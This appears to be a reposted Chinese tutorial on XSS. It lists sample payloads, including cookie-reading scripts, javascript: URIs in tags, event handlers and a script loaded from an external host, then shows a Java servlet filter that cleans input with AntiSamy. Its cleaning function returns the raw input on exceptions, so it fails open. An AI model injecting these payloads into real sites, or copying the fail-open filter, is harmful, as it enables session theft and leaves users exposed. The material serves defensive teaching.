怎樣過濾跨站惡意腳本攻擊(XSS)



什么是XSS?

XSS(Cross Site Scripting),即跨站腳本攻擊,是一種常見於web application中的計算機安全漏洞。XSS通過在用戶端注入惡意的可運行腳本,若服務器端對用戶輸入不進行處理,直接將用戶輸入輸出到瀏覽器,則瀏覽器將會執行用戶注入的腳本。

例如:有一個input輸入框,要求用戶輸入名字,用戶輸入lily<script>alert("hello world")</script>,服務器接收到用戶的輸入,並且直接將用戶輸入輸出到頁面上,則會有hello world 的alert對話框出現。如果說這是XSS黑客的自娛自樂,那么盜取用戶信息的XSS就不那么友好了。如果用戶通過注入腳本,盜取你的用戶信息如cookie的內容,仿冒正常用戶,進行相應的操作,則危害會更大。獲取用戶的cookie信息非常簡單,只需要使用js獲取document.cookie,即可以得到。為了便於分析,我們將在用戶輸入名字框中輸入:lily<script>alert(document.cookie)</script>,則你就可以看到你的cookie信息顯示在alert對話框中了。

XSS的分類

根據XSS造成的影響,可以將XSS分為非持久型和持久型。

1.非持久型,也叫反射型XSS。通過GET和POST方法,向服務器端輸入數據。用戶輸入的數據通常被放置在URL的query string中,或者是form 數據中。如果服務器端對輸入的數據不進行過濾,驗證或編碼,就直接將用戶輸入的信息直接呈現給客戶,則可能會造成反射型XSS。反射型XSS是比較普遍的XSS,其危害程度通常被認為較小。但是某些反射型XSS造成的后果會很嚴重,如在輸入框的name中輸入<meta http-equiv="refresh" content="5" />,服務器不加處理,將name的值直接送到瀏覽器,則瀏覽器會每5秒自動刷新一次。嚴重者會導致服務器崩潰。

2.持久型,也叫存儲型XSS。通常是因為服務器端將用戶輸入的惡意腳本沒有通過驗證就直接存儲在數據庫,並且每次通過調用數據庫的方式,將數據呈現在瀏覽器上。則該XSS跨站腳本攻擊將一直存在。若其他用戶訪問該頁面,則惡意腳本就會被觸發,用於盜取其他用戶的私人信息。

常用XSS方式分為以下幾種:
1. 輸入框中直接輸入惡意腳本,如:

     ><script>alert(document.cookie)</script>

2. 輸入框中輸入html標簽,在標簽中嵌入惡意腳本,如src,href,css style等。

<IMG SRC="javascript:alert('XSS');">;
<BODY BACKGROUND="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

3.將惡意腳本注入在event事件中,如onClick,onBlur,onMouseOver等事件。

<a onmouseover="alert(document.cookie)">xxs link</a>

4. 在remote style sheet,javascript中,如

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

5. META 標簽,如

<meta http-equiv="refresh" content="5" />
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

如何預防以上兩種XSS攻擊?
1. 在輸入流中截住form data中的惡意腳本
     研究兩種XSS攻擊,如反射型和存儲型XSS攻擊,其惡意腳本都是來自用戶的輸入。因此,可以使用過濾用戶輸入的方法對惡意腳本進行過濾。對簡單的HTTP請求,一般使用GET和POST方法。當使用GET時,用戶輸入的數據將被放入地址欄的URL中,如:http://xxxx?name1=value1&name2=value2…..。其中,URL之后會放入鍵值對,對應name1的值為value1,name2的值為value2,等等。而對於POST方法,則用戶輸入數據仍然以name1=value1&name2=value2.。。。,但是數據鍵值對不會放進URL之后,而是放進了request的body中。因此,我們得到一個結論,所有的數據都存儲在request中,我們可以截下進入server的每一個request,對用戶的輸入數據進行惡意腳本清理。其中有效的一個方法就是使用spring的filter。代碼示例如下,在web.xml中加入以下代碼段:
<filter>
        <filter-name>XSS</filter-name>
        <filter-class>com.springapp.domain.XssFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>XSS</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
其中XssFilter為自定義的class,該類必須實現Filter類,在XssFilter類中實現doFilter函數。

public class XssFilter implements Filter {
    private FilterConfig filterConfig;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        this.filterConfig = filterConfig;
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        chain.doFilter(new RequestWrapper((HttpServletRequest) request), new ResponseWrapper((HttpServletResponse) response));

    }

    @Override
    public void destroy() {
        this.filterConfig = null;
    }
}
     那么我們怎樣對每個request都進行過濾操作呢?怎么樣對用戶輸入的數據進行操作呢?form數據都存儲在什么地方傳給servlet的呢?
     通常情況下,可以通過調用request.getParameter來獲得單個對應name對應的value。若form的傳入參數中,一個name值對應多個value,則可以使用request.getParameterValues來獲得name值的多個對應值。少數情況下,當你需要raw request的適合,可以使用getReader和getInputStream。
     但是我們可以發現,直接對httpServletRequest的parameter進行set操作會報錯,因此需要使用HttpServletRequestWrapper。HttpServletRequestWrapper允許我們重寫servletRequest的各種方法,以便對request進行直接操作。
     因此,我們可以在自定義的RequestWrapper中,對getParameter和getParameterValues進行重寫,從而達到對各個用戶輸入的form參數的值進行過濾,濾掉form data中的惡意腳本。以下為示例代碼:
public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values==null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = xssClean(values[i]);
        }
        return encodedValues;
    }

public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        if (value == null) {
            return null;
        }
        return xssClean(value);
    }

2. 在輸入流中檢測濾掉來自其他網站的URL中的惡意腳本
     當用戶不小心點擊了被其他黑客提供的假冒URL,則可能在該URL中注入惡意腳本。因此,也需要對這種情況進行處理。因此為確保其他在header中的惡意腳本,需要對request.getHeader進行重寫。以下為例子:
public String getHeader(String name) {
        String value = super.getHeader(name);
        if (value == null)
            return null;
        return xssClean(value);

    }

3. xssClean函數怎樣實現才可以過濾掉惡意腳本呢?
如果是java語言,推薦使用antisamy。使用antisamy進行XSS清理非常簡單,只需要簡單的幾個步驟即可達到目的。
     1‘. 在pom.xml文件中加入antisamy的dependency,
     <dependency>
            <groupId>org.owasp.antisamy</groupId>
            <artifactId>antisamy</artifactId>
            <version>1.5.3</version>
        </dependency>
     2’. 加入了dependency之后,就可以在xssClean中加入antisamy對惡意腳本進行清理。其中policy.xml是白名單,policy.xml中規定了各個html元素所必須滿足的條件。antisamy的精髓之處在於,使用policy文件來規定你的過濾條件,若輸入字符串不滿足policy文件中的條件,則會過濾掉字符中的惡意腳本,返回過濾后的結果。具體代碼如下:
private String xssClean(String value) {
        AntiSamy antiSamy = new AntiSamy();
        try {
            final CleanResults cr = antiSamy.scan(value, Policy.getInstance("policy.xml"), AntiSamy.SAX);
            return cr.getCleanHTML();
        } catch (ScanException e) {
            e.printStackTrace();
        } catch (PolicyException e) {
            e.printStackTrace();
        }
        return value;
    }
這樣,我們就將client端用戶輸入的request,在server端進行了攔截,並且進行了過濾。對於輸出端,XSS的防御將在下一篇文章中進行詳細介紹。
轉載請注明出處,謝謝。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM